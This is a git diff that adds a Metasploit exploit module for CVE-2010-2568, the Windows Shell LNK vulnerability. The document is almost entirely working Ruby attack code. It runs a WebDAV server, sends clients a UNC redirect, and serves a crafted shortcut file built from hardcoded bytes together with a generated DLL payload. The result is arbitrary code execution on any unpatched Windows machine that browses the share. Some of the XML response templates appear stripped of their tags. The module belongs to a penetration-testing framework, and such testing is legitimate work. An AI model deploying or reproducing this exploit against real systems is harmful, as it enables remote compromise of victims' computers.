diff --git a/modules/exploits/windows/browser/ms10_xxx_windows_shell_lnk_execute.rb b/modules/exploits/windows/browser/ms10_xxx_windows_shell_lnk_execute.rb new file mode 100644 index 0000000000..6e8f92cef7 --- /dev/null +++ b/modules/exploits/windows/browser/ms10_xxx_windows_shell_lnk_execute.rb @@ -0,0 +1,413 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + # + # This module acts as an HTTP server + # + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Microsoft Windows Shell LNK Code Execution', + 'Description' => %q{ + This module exploits a vulnerability in the handling of Windows + Shortcut files (.LNK) that contain an icon resource pointing to a + malicious DLL. This module creates a WebDAV service that can be used + to run an arbitrary payload when accessed as a UNC path. + + }, + 'Author' => + [ + 'hdm', # Module itself + 'jduck', # WebDAV implementation + 'B_H' # Clean LNK template + ], + 'License' => MSF_LICENSE, + 'Version' => '$Revision$', + 'References' => + [ + ['CVE', '2010-2568'], + ['URL', 'http://www.microsoft.com/technet/security/advisory/2286198.mspx'], + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'process', + }, + 'Payload' => + { + 'Space' => 2048, + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic', { } ] + ], + 'DisclosureDate' => 'Jun 09 2010', + 'DefaultTarget' => 0)) + + register_options( + [ + OptPort.new( 'SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]), + OptString.new( 'URIPATH', [ true, "The URI to use (do not change).", "/" ]), + ], self.class) + + deregister_options('SSL', 'SSLVersion') # Just for now + end + + def on_request_uri(cli, request) + + case request.method + when 'OPTIONS' + process_options(cli, request) + when 'PROPFIND' + process_propfind(cli, request) + when 'GET' + process_get(cli, request) + else + print_error("Unexpected request method encountered: #{request.method}") + end + + end + + def process_get(cli, request) + + myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] + webdav = "\\\\#{myhost}\\" + + if (request.uri =~ /\.dll$/i) + print_status "Sending DLL payload #{cli.peerhost}:#{cli.peerport} ..." + return if ((p = regenerate_payload(cli)) == nil) + + data = Msf::Util::EXE.to_win32pe_dll(framework, p.encoded) + send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) + return + end + + if (request.uri =~ /\.lnk$/i) + print_status "Sending LNK file to #{cli.peerhost}:#{cli.peerport} ..." + return if ((p = regenerate_payload(cli)) == nil) + + data = generate_link("#{webdav}#{@exploit_base}\\#{@exploit_dll}") + + send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) + return + end + + print_status "Sending UNC redirect to #{cli.peerhost}:#{cli.peerport} ..." + resp = create_response(301, "Moved") + resp["Location"] = "#{webdav}#{@exploit_base}\\" + resp.body = "" + resp['Content-Type'] = 'text/xml' + send_response(resp) + end + + # + # OPTIONS requests sent by the WebDav Mini-Redirector + # + def process_options(cli, request) + print_status("Responding to WebDAV OPTIONS request from #{cli.peerhost}:#{cli.peerport}") + headers = { + 'MS-Author-Via' => 'DAV', +# 'DASL' => '', +# 'DAV' => '1, 2', + 'Allow' => 'OPTIONS, GET, PROPFIND', + 'Public' => 'OPTIONS, GET, PROPFIND' + } + resp = create_response(207, "Multi-Status") + resp.body = "" + resp['Content-Type'] = 'text/xml' + cli.send_response(resp) + end + + # + # PROPFIND requests sent by the WebDav Mini-Redirector + # + def process_propfind(cli, request) + path = request.uri + print_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}") + body = '' + + my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] + my_uri = "http://#{my_host}/" + + if path =~ /\.dll$/i + # Response for the DLL + print_status("Sending DLL multistatus for #{path} ...") + body = %Q| + + +#{path}#{@exploit_dll} + + + +2010-07-19T20:29:42Z +#{rand(0x100000)+128000} +Mon, 19 Jul 2010 20:29:42 GMT +"#{"%.16x" % rand(0x100000000)}" +T + + + + + + + + + + + +application/octet-stream + +HTTP/1.1 200 OK + + + +| + + resp = create_response(207, "Multi-Status") + resp.body = body + resp['Content-Type'] = 'text/xml' + cli.send_response(resp) + return + end + + if path =~ /\.lnk$/i + # Response for the DLL + print_status("Sending DLL multistatus for #{path} ...") + body = %Q| + + +#{path}#{@exploit_lnk} + + + +2010-07-19T20:29:42Z +#{rand(0x100)+128} +Mon, 19 Jul 2010 20:29:42 GMT +"#{"%.16x" % rand(0x100000000)}" +T + + + + + + + + + + + +shortcut + +HTTP/1.1 200 OK + + + +| + + resp = create_response(207, "Multi-Status") + resp.body = body + resp['Content-Type'] = 'text/xml' + cli.send_response(resp) + return + end + + if path !~ /\/$/ + + if path.index(".") + print_status("Sending 404 for #{path} ...") + resp = create_response(404, "Not Found") + resp['Content-Type'] = 'text/html' + cli.send_response(resp) + return + else + print_status("Sending 301 for #{path} ...") + resp = create_response(301, "Moved") + resp["Location"] = path + "/" + resp['Content-Type'] = 'text/html' + cli.send_response(resp) + return + end + end + + print_status("Sending directory multistatus for #{path} ...") + body = %Q| + + + #{path} + + + + 2010-07-19T20:29:42Z + Mon, 19 Jul 2010 20:29:42 GMT + "#{"%.16x" % rand(0x100000000)}" + + + + + + + + + + + + httpd/unix-directory + + HTTP/1.1 200 OK + + +| + + + subdirectory = %Q| + +#{path}#{Rex::Text.rand_text_alpha(6)}/ + + + +2010-07-19T20:29:42Z +Mon, 19 Jul 2010 20:29:42 GMT +"#{"%.16x" % rand(0x100000000)}" + + + + + + + + + + + +httpd/unix-directory + +HTTP/1.1 200 OK + + +| + + files = %Q| + +#{path}#{@exploit_dll} + + + +2010-07-19T20:29:42Z +#{rand(0x100000)+128000} +Mon, 19 Jul 2010 20:29:42 GMT +"#{"%.16x" % rand(0x100000000)}" +T + + + + + + + + + + + +application/octet-stream + +HTTP/1.1 200 OK + + + + +#{path}#{@exploit_lnk} + + + +2010-07-19T20:29:42Z +#{rand(0x100)+128} +Mon, 19 Jul 2010 20:29:42 GMT +"#{"%.16x" % rand(0x100000000)}" +T + + + + + + + + + + + +shortcut + +HTTP/1.1 200 OK + + +| + if request["Depth"].to_i > 0 + if path.scan("/").length < 2 + body << subdirectory + else + body << files + end + end + + body << "" + + body.gsub!(/\t/, '') + + # send the response + resp = create_response(207, "Multi-Status") + resp.body = body + resp['Content-Type'] = 'text/xml; charset="utf8"' + cli.send_response(resp) + end + + def generate_link(unc) + [ 0x4c, 0x00, 0x00, 0x00, 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0xff, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0x14, 0x00, 0x1f, 0x00, 0xe0, 0x4f, + 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30, + 0x30, 0x9d, 0x14, 0x00, 0x2e, 0x1e, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, + 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30, 0x30, 0x9d, 0x0c, 0x01, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ].pack("C*") + + unc.unpack("C*").pack("v*") + "\x00\x00" + end + + def exploit + + myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'] + + @exploit_unc = "\\\\#{myhost}\\" + @exploit_base = rand_text_alpha(rand(8)+4) + @exploit_lnk = rand_text_alpha(rand(8)+4) + ".lnk" + @exploit_dll = rand_text_alpha(rand(8)+4) + ".dll" + + if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/' + raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/' + end + + print_status("") + print_status("Send vulnerable clients to #{@exploit_unc}#{@exploit_base}\\") + print_status("") + super + end +end +